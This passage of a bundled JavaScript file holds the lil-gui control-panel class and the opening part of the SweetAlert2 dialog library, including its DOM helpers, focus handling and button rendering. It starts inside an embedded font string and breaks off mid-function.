RKCMBBA0f0giiKi4DU8k0V2GWbIZDOh4PoWWvq6J5V8If9NVNQcaDhyouXMhY4rPTcG7jwYmXhKq8Wz+p762aNaeYXom2n3m2dLTVgsrCgFJ7OTmIkYbwIbC6vIB7WmFfAAAA==") format("woff");
  1143. }`;
  1144. function _injectStyles(cssContent) {
  1145. const injected = document.createElement("style");
  1146. injected.innerHTML = cssContent;
  1147. const before = document.querySelector("head link[rel=stylesheet], head style");
  1148. if (before) {
  1149. document.head.insertBefore(injected, before);
  1150. } else {
  1151. document.head.appendChild(injected);
  1152. }
  1153. }
  1154. let stylesInjected = false;
  1155. class GUI {
  1156. constructor({
  1157. parent,
  1158. autoPlace = parent === void 0,
  1159. container,
  1160. width,
  1161. title = "Controls",
  1162. injectStyles = true,
  1163. touchStyles = true
  1164. } = {}) {
  1165. this.parent = parent;
  1166. this.root = parent ? parent.root : this;
  1167. this.children = [];
  1168. this.controllers = [];
  1169. this.folders = [];
  1170. this._closed = false;
  1171. this._hidden = false;
  1172. this.domElement = document.createElement("div");
  1173. this.domElement.classList.add("lil-gui");
  1174. this.$title = document.createElement("div");
  1175. this.$title.classList.add("title");
  1176. this.$title.setAttribute("role", "button");
  1177. this.$title.setAttribute("aria-expanded", true);
  1178. this.$title.setAttribute("tabindex", 0);
  1179. this.$title.addEventListener("click", () => this.openAnimated(this._closed));
  1180. this.$title.addEventListener("keydown", (e) => {
  1181. if (e.code === "Enter" || e.code === "Space") {
  1182. e.preventDefault();
  1183. this.$title.click();
  1184. }
  1185. });
  1186. this.$title.addEventListener("touchstart", () => {
  1187. }, { passive: true });
  1188. this.$children = document.createElement("div");
  1189. this.$children.classList.add("children");
  1190. this.domElement.appendChild(this.$title);
  1191. this.domElement.appendChild(this.$children);
  1192. this.title(title);
  1193. if (touchStyles) {
  1194. this.domElement.classList.add("allow-touch-styles");
  1195. }
  1196. if (this.parent) {
  1197. this.parent.children.push(this);
  1198. this.parent.folders.push(this);
  1199. this.parent.$children.appendChild(this.domElement);
  1200. return;
  1201. }
  1202. this.domElement.classList.add("root");
  1203. if (!stylesInjected && injectStyles) {
  1204. _injectStyles(stylesheet);
  1205. stylesInjected = true;
  1206. }
  1207. if (container) {
  1208. container.appendChild(this.domElement);
  1209. } else if (autoPlace) {
  1210. this.domElement.classList.add("autoPlace");
  1211. document.body.appendChild(this.domElement);
  1212. }
  1213. if (width) {
  1214. this.domElement.style.setProperty("--width", width + "px");
  1215. }
  1216. this.domElement.addEventListener("keydown", (e) => e.stopPropagation());
  1217. this.domElement.addEventListener("keyup", (e) => e.stopPropagation());
  1218. }
  1219. add(object, property, $1, max, step) {
  1220. if (Object($1) === $1) {
  1221. return new OptionController(this, object, property, $1);
  1222. }
  1223. const initialValue = object[property];
  1224. switch (typeof initialValue) {
  1225. case "number":
  1226. return new NumberController(this, object, property, $1, max, step);
  1227. case "boolean":
  1228. return new BooleanController(this, object, property);
  1229. case "string":
  1230. return new StringController(this, object, property);
  1231. case "function":
  1232. return new FunctionController(this, object, property);
  1233. }
  1234. console.error(`gui.add failed
  1235. property:`, property, `
  1236. object:`, object, `
  1237. value:`, initialValue);
  1238. }
  1239. addColor(object, property, rgbScale = 1) {
  1240. return new ColorController(this, object, property, rgbScale);
  1241. }
  1242. addFolder(title) {
  1243. return new GUI({ parent: this, title });
  1244. }
  1245. load(obj, recursive = true) {
  1246. if (obj.controllers) {
  1247. this.controllers.forEach((c) => {
  1248. if (c instanceof FunctionController)
  1249. return;
  1250. if (c._name in obj.controllers) {
  1251. c.load(obj.controllers[c._name]);
  1252. }
  1253. });
  1254. }
  1255. if (recursive && obj.folders) {
  1256. this.folders.forEach((f) => {
  1257. if (f._title in obj.folders) {
  1258. f.load(obj.folders[f._title]);
  1259. }
  1260. });
  1261. }
  1262. return this;
  1263. }
  1264. save(recursive = true) {
  1265. const obj = {
  1266. controllers: {},
  1267. folders: {}
  1268. };
  1269. this.controllers.forEach((c) => {
  1270. if (c instanceof FunctionController)
  1271. return;
  1272. if (c._name in obj.controllers) {
  1273. throw new Error(`Cannot save GUI with duplicate property "${c._name}"`);
  1274. }
  1275. obj.controllers[c._name] = c.save();
  1276. });
  1277. if (recursive) {
  1278. this.folders.forEach((f) => {
  1279. if (f._title in obj.folders) {
  1280. throw new Error(`Cannot save GUI with duplicate folder "${f._title}"`);
  1281. }
  1282. obj.folders[f._title] = f.save();
  1283. });
  1284. }
  1285. return obj;
  1286. }
  1287. open(open2 = true) {
  1288. this._closed = !open2;
  1289. this.$title.setAttribute("aria-expanded", !this._closed);
  1290. this.domElement.classList.toggle("closed", this._closed);
  1291. return this;
  1292. }
  1293. close() {
  1294. return this.open(false);
  1295. }
  1296. show(show = true) {
  1297. this._hidden = !show;
  1298. this.domElement.style.display = this._hidden ? "none" : "";
  1299. return this;
  1300. }
  1301. hide() {
  1302. return this.show(false);
  1303. }
  1304. openAnimated(open2 = true) {
  1305. this._closed = !open2;
  1306. this.$title.setAttribute("aria-expanded", !this._closed);
  1307. requestAnimationFrame(() => {
  1308. const initialHeight = this.$children.clientHeight;
  1309. this.$children.style.height = initialHeight + "px";
  1310. this.domElement.classList.add("transition");
  1311. const onTransitionEnd = (e) => {
  1312. if (e.target !== this.$children)
  1313. return;
  1314. this.$children.style.height = "";
  1315. this.domElement.classList.remove("transition");
  1316. this.$children.removeEventListener("transitionend", onTransitionEnd);
  1317. };
  1318. this.$children.addEventListener("transitionend", onTransitionEnd);
  1319. const targetHeight = !open2 ? 0 : this.$children.scrollHeight;
  1320. this.domElement.classList.toggle("closed", !open2);
  1321. requestAnimationFrame(() => {
  1322. this.$children.style.height = targetHeight + "px";
  1323. });
  1324. });
  1325. return this;
  1326. }
  1327. title(title) {
  1328. this._title = title;
  1329. this.$title.innerHTML = title;
  1330. return this;
  1331. }
  1332. reset(recursive = true) {
  1333. const controllers = recursive ? this.controllersRecursive() : this.controllers;
  1334. controllers.forEach((c) => c.reset());
  1335. return this;
  1336. }
  1337. onChange(callback) {
  1338. this._onChange = callback;
  1339. return this;
  1340. }
  1341. _callOnChange(controller) {
  1342. if (this.parent) {
  1343. this.parent._callOnChange(controller);
  1344. }
  1345. if (this._onChange !== void 0) {
  1346. this._onChange.call(this, {
  1347. object: controller.object,
  1348. property: controller.property,
  1349. value: controller.getValue(),
  1350. controller
  1351. });
  1352. }
  1353. }
  1354. onFinishChange(callback) {
  1355. this._onFinishChange = callback;
  1356. return this;
  1357. }
  1358. _callOnFinishChange(controller) {
  1359. if (this.parent) {
  1360. this.parent._callOnFinishChange(controller);
  1361. }
  1362. if (this._onFinishChange !== void 0) {
  1363. this._onFinishChange.call(this, {
  1364. object: controller.object,
  1365. property: controller.property,
  1366. value: controller.getValue(),
  1367. controller
  1368. });
  1369. }
  1370. }
  1371. destroy() {
  1372. if (this.parent) {
  1373. this.parent.children.splice(this.parent.children.indexOf(this), 1);
  1374. this.parent.folders.splice(this.parent.folders.indexOf(this), 1);
  1375. }
  1376. if (this.domElement.parentElement) {
  1377. this.domElement.parentElement.removeChild(this.domElement);
  1378. }
  1379. Array.from(this.children).forEach((c) => c.destroy());
  1380. }
  1381. controllersRecursive() {
  1382. let controllers = Array.from(this.controllers);
  1383. this.folders.forEach((f) => {
  1384. controllers = controllers.concat(f.controllersRecursive());
  1385. });
  1386. return controllers;
  1387. }
  1388. foldersRecursive() {
  1389. let folders = Array.from(this.folders);
  1390. this.folders.forEach((f) => {
  1391. folders = folders.concat(f.foldersRecursive());
  1392. });
  1393. return folders;
  1394. }
  1395. }
  1396. var commonjsGlobal = typeof globalThis !== "undefined" ? globalThis : typeof window !== "undefined" ? window : typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : {};
  1397. var sweetalert2_all = { exports: {} };
  1398. (function(module, exports) {
  1399. (function(global2, factory) {
  1400. module.exports = factory();
  1401. })(commonjsGlobal, function() {
  1402. var privateProps = {
  1403. awaitingPromise: /* @__PURE__ */ new WeakMap(),
  1404. promise: /* @__PURE__ */ new WeakMap(),
  1405. innerParams: /* @__PURE__ */ new WeakMap(),
  1406. domCache: /* @__PURE__ */ new WeakMap()
  1407. };
  1408. const swalPrefix = "swal2-";
  1409. const prefix = (items) => {
  1410. const result = {};
  1411. for (const i in items) {
  1412. result[items[i]] = swalPrefix + items[i];
  1413. }
  1414. return result;
  1415. };
  1416. const swalClasses = prefix(["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"]);
  1417. const iconTypes = prefix(["success", "warning", "info", "question", "error"]);
  1418. const consolePrefix = "SweetAlert2:";
  1419. const uniqueArray = (arr) => {
  1420. const result = [];
  1421. for (let i = 0; i < arr.length; i++) {
  1422. if (result.indexOf(arr[i]) === -1) {
  1423. result.push(arr[i]);
  1424. }
  1425. }
  1426. return result;
  1427. };
  1428. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  1429. const warn = (message) => {
  1430. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  1431. };
  1432. const error = (message) => {
  1433. console.error(`${consolePrefix} ${message}`);
  1434. };
  1435. const previousWarnOnceMessages = [];
  1436. const warnOnce = (message) => {
  1437. if (!previousWarnOnceMessages.includes(message)) {
  1438. previousWarnOnceMessages.push(message);
  1439. warn(message);
  1440. }
  1441. };
  1442. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  1443. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  1444. };
  1445. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  1446. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  1447. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  1448. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  1449. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  1450. const elementBySelector = (selectorString) => {
  1451. const container = getContainer();
  1452. return container ? container.querySelector(selectorString) : null;
  1453. };
  1454. const elementByClass = (className) => {
  1455. return elementBySelector(`.${className}`);
  1456. };
  1457. const getPopup = () => elementByClass(swalClasses.popup);
  1458. const getIcon = () => elementByClass(swalClasses.icon);
  1459. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  1460. const getTitle = () => elementByClass(swalClasses.title);
  1461. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  1462. const getImage = () => elementByClass(swalClasses.image);
  1463. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  1464. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  1465. const getConfirmButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`);
  1466. const getDenyButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`);
  1467. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  1468. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  1469. const getCancelButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`);
  1470. const getActions = () => elementByClass(swalClasses.actions);
  1471. const getFooter = () => elementByClass(swalClasses.footer);
  1472. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  1473. const getCloseButton = () => elementByClass(swalClasses.close);
  1474. const focusable = `
  1475. a[href],
  1476. area[href],
  1477. input:not([disabled]),
  1478. select:not([disabled]),
  1479. textarea:not([disabled]),
  1480. button:not([disabled]),
  1481. iframe,
  1482. object,
  1483. embed,
  1484. [tabindex="0"],
  1485. [contenteditable],
  1486. audio[controls],
  1487. video[controls],
  1488. summary
  1489. `;
  1490. const getFocusableElements = () => {
  1491. const focusableElementsWithTabindex = Array.from(getPopup().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')).sort((a, b) => {
  1492. const tabindexA = parseInt(a.getAttribute("tabindex"));
  1493. const tabindexB = parseInt(b.getAttribute("tabindex"));
  1494. if (tabindexA > tabindexB) {
  1495. return 1;
  1496. } else if (tabindexA < tabindexB) {
  1497. return -1;
  1498. }
  1499. return 0;
  1500. });
  1501. const otherFocusableElements = Array.from(getPopup().querySelectorAll(focusable)).filter((el) => el.getAttribute("tabindex") !== "-1");
  1502. return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter((el) => isVisible$1(el));
  1503. };
  1504. const isModal = () => {
  1505. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  1506. };
  1507. const isToast = () => {
  1508. return getPopup() && hasClass(getPopup(), swalClasses.toast);
  1509. };
  1510. const isLoading = () => {
  1511. return getPopup().hasAttribute("data-loading");
  1512. };
  1513. const states = {
  1514. previousBodyPadding: null
  1515. };
  1516. const setInnerHtml = (elem, html) => {
  1517. elem.textContent = "";
  1518. if (html) {
  1519. const parser = new DOMParser();
  1520. const parsed = parser.parseFromString(html, `text/html`);
  1521. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  1522. elem.appendChild(child);
  1523. });
  1524. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  1525. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  1526. elem.appendChild(child.cloneNode(true));
  1527. } else {
  1528. elem.appendChild(child);
  1529. }
  1530. });
  1531. }
  1532. };
  1533. const hasClass = (elem, className) => {
  1534. if (!className) {
  1535. return false;
  1536. }
  1537. const classList = className.split(/\s+/);
  1538. for (let i = 0; i < classList.length; i++) {
  1539. if (!elem.classList.contains(classList[i])) {
  1540. return false;
  1541. }
  1542. }
  1543. return true;
  1544. };
  1545. const removeCustomClasses = (elem, params) => {
  1546. Array.from(elem.classList).forEach((className) => {
  1547. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  1548. elem.classList.remove(className);
  1549. }
  1550. });
  1551. };
  1552. const applyCustomClass = (elem, params, className) => {
  1553. removeCustomClasses(elem, params);
  1554. if (params.customClass && params.customClass[className]) {
  1555. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  1556. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  1557. return;
  1558. }
  1559. addClass(elem, params.customClass[className]);
  1560. }
  1561. };
  1562. const getInput$1 = (popup, inputClass) => {
  1563. if (!inputClass) {
  1564. return null;
  1565. }
  1566. switch (inputClass) {
  1567. case "select":
  1568. case "textarea":
  1569. case "file":
  1570. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  1571. case "checkbox":
  1572. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  1573. case "radio":
  1574. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  1575. case "range":
  1576. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  1577. default:
  1578. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  1579. }
  1580. };
  1581. const focusInput = (input) => {
  1582. input.focus();
  1583. if (input.type !== "file") {
  1584. const val = input.value;
  1585. input.value = "";
  1586. input.value = val;
  1587. }
  1588. };
  1589. const toggleClass = (target, classList, condition) => {
  1590. if (!target || !classList) {
  1591. return;
  1592. }
  1593. if (typeof classList === "string") {
  1594. classList = classList.split(/\s+/).filter(Boolean);
  1595. }
  1596. classList.forEach((className) => {
  1597. if (Array.isArray(target)) {
  1598. target.forEach((elem) => {
  1599. condition ? elem.classList.add(className) : elem.classList.remove(className);
  1600. });
  1601. } else {
  1602. condition ? target.classList.add(className) : target.classList.remove(className);
  1603. }
  1604. });
  1605. };
  1606. const addClass = (target, classList) => {
  1607. toggleClass(target, classList, true);
  1608. };
  1609. const removeClass = (target, classList) => {
  1610. toggleClass(target, classList, false);
  1611. };
  1612. const getDirectChildByClass = (elem, className) => {
  1613. const children = Array.from(elem.children);
  1614. for (let i = 0; i < children.length; i++) {
  1615. const child = children[i];
  1616. if (child instanceof HTMLElement && hasClass(child, className)) {
  1617. return child;
  1618. }
  1619. }
  1620. };
  1621. const applyNumericalStyle = (elem, property, value) => {
  1622. if (value === `${parseInt(value)}`) {
  1623. value = parseInt(value);
  1624. }
  1625. if (value || parseInt(value) === 0) {
  1626. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  1627. } else {
  1628. elem.style.removeProperty(property);
  1629. }
  1630. };
  1631. const show = function(elem) {
  1632. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  1633. elem.style.display = display;
  1634. };
  1635. const hide = (elem) => {
  1636. elem.style.display = "none";
  1637. };
  1638. const setStyle = (parent, selector, property, value) => {
  1639. const el = parent.querySelector(selector);
  1640. if (el) {
  1641. el.style[property] = value;
  1642. }
  1643. };
  1644. const toggle = function(elem, condition) {
  1645. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  1646. condition ? show(elem, display) : hide(elem);
  1647. };
  1648. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  1649. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  1650. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  1651. const hasCssAnimation = (elem) => {
  1652. const style = window.getComputedStyle(elem);
  1653. const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
  1654. const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
  1655. return animDuration > 0 || transDuration > 0;
  1656. };
  1657. const animateTimerProgressBar = function(timer) {
  1658. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  1659. const timerProgressBar = getTimerProgressBar();
  1660. if (isVisible$1(timerProgressBar)) {
  1661. if (reset) {
  1662. timerProgressBar.style.transition = "none";
  1663. timerProgressBar.style.width = "100%";
  1664. }
  1665. setTimeout(() => {
  1666. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  1667. timerProgressBar.style.width = "0%";
  1668. }, 10);
  1669. }
  1670. };
  1671. const stopTimerProgressBar = () => {
  1672. const timerProgressBar = getTimerProgressBar();
  1673. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  1674. timerProgressBar.style.removeProperty("transition");
  1675. timerProgressBar.style.width = "100%";
  1676. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  1677. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  1678. timerProgressBar.style.removeProperty("transition");
  1679. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  1680. };
  1681. const RESTORE_FOCUS_TIMEOUT = 100;
  1682. const globalState = {};
  1683. const focusPreviousActiveElement = () => {
  1684. if (globalState.previousActiveElement instanceof HTMLElement) {
  1685. globalState.previousActiveElement.focus();
  1686. globalState.previousActiveElement = null;
  1687. } else if (document.body) {
  1688. document.body.focus();
  1689. }
  1690. };
  1691. const restoreActiveElement = (returnFocus) => {
  1692. return new Promise((resolve) => {
  1693. if (!returnFocus) {
  1694. return resolve();
  1695. }
  1696. const x = window.scrollX;
  1697. const y = window.scrollY;
  1698. globalState.restoreFocusTimeout = setTimeout(() => {
  1699. focusPreviousActiveElement();
  1700. resolve();
  1701. }, RESTORE_FOCUS_TIMEOUT);
  1702. window.scrollTo(x, y);
  1703. });
  1704. };
  1705. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  1706. const sweetHTML = `
  1707. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  1708. <button type="button" class="${swalClasses.close}"></button>
  1709. <ul class="${swalClasses["progress-steps"]}"></ul>
  1710. <div class="${swalClasses.icon}"></div>
  1711. <img class="${swalClasses.image}" />
  1712. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  1713. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  1714. <input class="${swalClasses.input}" />
  1715. <input type="file" class="${swalClasses.file}" />
  1716. <div class="${swalClasses.range}">
  1717. <input type="range" />
  1718. <output></output>
  1719. </div>
  1720. <select class="${swalClasses.select}"></select>
  1721. <div class="${swalClasses.radio}"></div>
  1722. <label for="${swalClasses.checkbox}" class="${swalClasses.checkbox}">
  1723. <input type="checkbox" />
  1724. <span class="${swalClasses.label}"></span>
  1725. </label>
  1726. <textarea class="${swalClasses.textarea}"></textarea>
  1727. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  1728. <div class="${swalClasses.actions}">
  1729. <div class="${swalClasses.loader}"></div>
  1730. <button type="button" class="${swalClasses.confirm}"></button>
  1731. <button type="button" class="${swalClasses.deny}"></button>
  1732. <button type="button" class="${swalClasses.cancel}"></button>
  1733. </div>
  1734. <div class="${swalClasses.footer}"></div>
  1735. <div class="${swalClasses["timer-progress-bar-container"]}">
  1736. <div class="${swalClasses["timer-progress-bar"]}"></div>
  1737. </div>
  1738. </div>
  1739. `.replace(/(^|\n)\s*/g, "");
  1740. const resetOldContainer = () => {
  1741. const oldContainer = getContainer();
  1742. if (!oldContainer) {
  1743. return false;
  1744. }
  1745. oldContainer.remove();
  1746. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  1747. return true;
  1748. };
  1749. const resetValidationMessage$1 = () => {
  1750. globalState.currentInstance.resetValidationMessage();
  1751. };
  1752. const addInputChangeListeners = () => {
  1753. const popup = getPopup();
  1754. const input = getDirectChildByClass(popup, swalClasses.input);
  1755. const file = getDirectChildByClass(popup, swalClasses.file);
  1756. const range = popup.querySelector(`.${swalClasses.range} input`);
  1757. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  1758. const select = getDirectChildByClass(popup, swalClasses.select);
  1759. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  1760. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  1761. input.oninput = resetValidationMessage$1;
  1762. file.onchange = resetValidationMessage$1;
  1763. select.onchange = resetValidationMessage$1;
  1764. checkbox.onchange = resetValidationMessage$1;
  1765. textarea.oninput = resetValidationMessage$1;
  1766. range.oninput = () => {
  1767. resetValidationMessage$1();
  1768. rangeOutput.value = range.value;
  1769. };
  1770. range.onchange = () => {
  1771. resetValidationMessage$1();
  1772. rangeOutput.value = range.value;
  1773. };
  1774. };
  1775. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  1776. const setupAccessibility = (params) => {
  1777. const popup = getPopup();
  1778. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  1779. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  1780. if (!params.toast) {
  1781. popup.setAttribute("aria-modal", "true");
  1782. }
  1783. };
  1784. const setupRTL = (targetElement) => {
  1785. if (window.getComputedStyle(targetElement).direction === "rtl") {
  1786. addClass(getContainer(), swalClasses.rtl);
  1787. }
  1788. };
  1789. const init = (params) => {
  1790. const oldContainerExisted = resetOldContainer();
  1791. if (isNodeEnv()) {
  1792. error("SweetAlert2 requires document to initialize");
  1793. return;
  1794. }
  1795. const container = document.createElement("div");
  1796. container.className = swalClasses.container;
  1797. if (oldContainerExisted) {
  1798. addClass(container, swalClasses["no-transition"]);
  1799. }
  1800. setInnerHtml(container, sweetHTML);
  1801. const targetElement = getTarget(params.target);
  1802. targetElement.appendChild(container);
  1803. setupAccessibility(params);
  1804. setupRTL(targetElement);
  1805. addInputChangeListeners();
  1806. };
  1807. const parseHtmlToContainer = (param, target) => {
  1808. if (param instanceof HTMLElement) {
  1809. target.appendChild(param);
  1810. } else if (typeof param === "object") {
  1811. handleObject(param, target);
  1812. } else if (param) {
  1813. setInnerHtml(target, param);
  1814. }
  1815. };
  1816. const handleObject = (param, target) => {
  1817. if (param.jquery) {
  1818. handleJqueryElem(target, param);
  1819. } else {
  1820. setInnerHtml(target, param.toString());
  1821. }
  1822. };
  1823. const handleJqueryElem = (target, elem) => {
  1824. target.textContent = "";
  1825. if (0 in elem) {
  1826. for (let i = 0; i in elem; i++) {
  1827. target.appendChild(elem[i].cloneNode(true));
  1828. }
  1829. } else {
  1830. target.appendChild(elem.cloneNode(true));
  1831. }
  1832. };
  1833. const animationEndEvent = (() => {
  1834. if (isNodeEnv()) {
  1835. return false;
  1836. }
  1837. const testEl = document.createElement("div");
  1838. const transEndEventNames = {
  1839. WebkitAnimation: "webkitAnimationEnd",
  1840. animation: "animationend"
  1841. };
  1842. for (const i in transEndEventNames) {
  1843. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  1844. return transEndEventNames[i];
  1845. }
  1846. }
  1847. return false;
  1848. })();
  1849. const measureScrollbar = () => {
  1850. const scrollDiv = document.createElement("div");
  1851. scrollDiv.className = swalClasses["scrollbar-measure"];
  1852. document.body.appendChild(scrollDiv);
  1853. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1854. document.body.removeChild(scrollDiv);
  1855. return scrollbarWidth;
  1856. };
  1857. const renderActions = (instance, params) => {
  1858. const actions = getActions();
  1859. const loader = getLoader();
  1860. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  1861. hide(actions);
  1862. } else {
  1863. show(actions);
  1864. }
  1865. applyCustomClass(actions, params, "actions");
  1866. renderButtons(actions, loader, params);
  1867. setInnerHtml(loader, params.loaderHtml);
  1868. applyCustomClass(loader, params, "loader");
  1869. };
  1870. function renderButtons(actions, loader, params) {
  1871. const confirmButton = getConfirmButton();
  1872. const denyButton = getDenyButton();
  1873. const cancelButton = getCancelButton();
  1874. renderButton(confirmButton, "confirm", params);
  1875. renderButton(denyButton, "deny", params);
  1876. renderButton(cancelButton, "cancel", params);
  1877. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  1878. if (params.reverseButtons) {
  1879. if (params.toast) {
  1880. actions.insertBefore(cancelButton, confirmButton);
  1881. actions.insertBefore(denyButton, confirmButton);
  1882. } else {
  1883. actions.insertBefore(cancelButton, loader);
  1884. actions.insertBefore(denyButton, loader);
  1885. actions.insertBefore(confirmButton, loader);
  1886. }
  1887. }
  1888. }
  1889. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  1890. if (!params.buttonsStyling) {
  1891. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  1892. return;
  1893. }
  1894. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  1895. if (params.confirmButtonColor) {
  1896. confirmButton.style.backgroundColor = params.confirmButtonColor;
  1897. addClass(confirmButton, swalClasses["default-outline"]);
  1898. }
  1899. if (params.denyButtonColor) {
  1900. denyButton.style.backgroundColor = params.denyButtonColor;
  1901. addClass(denyButton, swalClasses["default-outline"]);
  1902. }
  1903. if (params.cancelButtonColor) {
  1904. cancelButton.style.backgroundColor = params.cancelButtonColor;
  1905. addClass(cancelButton, swalClasses["default-outline"]);
  1906. }
  1907. }
  1908. function renderButton(button, buttonType, params) {
  1909. toggle(button, params[`show${capitalizeFirstLetter(buttonType)}Button`], "inline-block");
  1910. setInnerHtml(button, params[`${buttonType}ButtonText`]);
  1911. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`]);
  1912. button.className = swalClasses[buttonType];
  1913. applyCustomClass(button, params, `${buttonType}Button`);
  1914. addClass(button, params[`${buttonType}ButtonClass`]);
  1915. }
  1916. const renderCloseButton = (instance, params) => {
  1917. const closeButton = getCloseButton();
  1918. setInnerHtml(closeButton, params.closeButtonHtml);
  1919. applyCustomClass(closeButton, params, "closeButton");
  1920. toggle(closeButton, params.showCloseButton);
  1921. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel);
  1922. };
  1923. const renderContainer = (instance, params) => {
  1924. const container = getContainer();
  1925. if (!container) {
  1926. return;
  1927. }
  1928. handleBackdropParam(container, params.backdrop);
  1929. handlePositionParam(container, params.position);
  1930. handleGrowParam(container, params.grow);
  1931. applyCustomClass(container, params, "container");
  1932. };
  1933. function handleBackdropParam(container, backdrop) {
  1934. if (typeof backdrop === "string") {
  1935. container.style.background = backdrop;
  1936. } else if (!backdrop) {
  1937. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  1938. }
  1939. }
  1940. function handlePositionParam(container, position) {
  1941. if (position in swalClasses) {
  1942. addClass(container, swalClasses[position]);
  1943. } else {
  1944. warn('The "position" parameter is not valid, defaulting to "center"');
  1945. addClass(container, swalClasses.center);
  1946. }
  1947. }
  1948. function handleGrowParam(container, grow) {
  1949. if (grow && typeof grow === "string") {
  1950. const growClass = `grow-${grow}`;
  1951. if (growClass in swalClasses) {
  1952. addClass(container, swalClasses[growClass]);
  1953. }
  1954. }
  1955. }
  1956. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
  1957. const renderInput = (instance, params) => {
  1958. const popup = getPopup();
  1959. const innerParams = privateProps.innerParams.get(instance);
